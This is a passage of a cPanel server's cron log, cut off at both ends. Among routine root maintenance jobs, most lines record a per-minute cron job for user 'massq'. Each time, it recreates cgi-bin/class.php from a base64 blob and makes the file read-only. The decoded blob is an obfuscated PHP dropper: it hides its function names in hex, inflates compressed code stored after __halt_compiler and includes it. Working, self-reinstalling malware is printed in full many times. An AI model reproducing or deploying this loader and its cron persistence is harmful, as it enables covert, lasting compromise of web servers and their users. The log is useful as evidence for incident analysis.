ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:31:01 server CROND[18140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:32:01 server CROND[18220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:33:01 server CROND[18391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:34:01 server CROND[18479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:35:01 server CROND[18575]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 14:35:01 server CROND[18578]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 14:35:01 server CROND[18579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:35:01 server CROND[18577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:35:01 server CROND[18580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:36:01 server CROND[18712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:37:01 server CROND[18810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:38:01 server CROND[18976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:39:01 server CROND[19045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:39:01 server CROND[19046]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 14:40:01 server CROND[19126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 14:40:01 server CROND[19127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:40:01 server CROND[19128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:40:01 server CROND[19129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:41:01 server CROND[19254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:42:01 server CROND[19327]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 14:42:01 server CROND[19328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:43:01 server CROND[19509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:44:01 server CROND[19602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 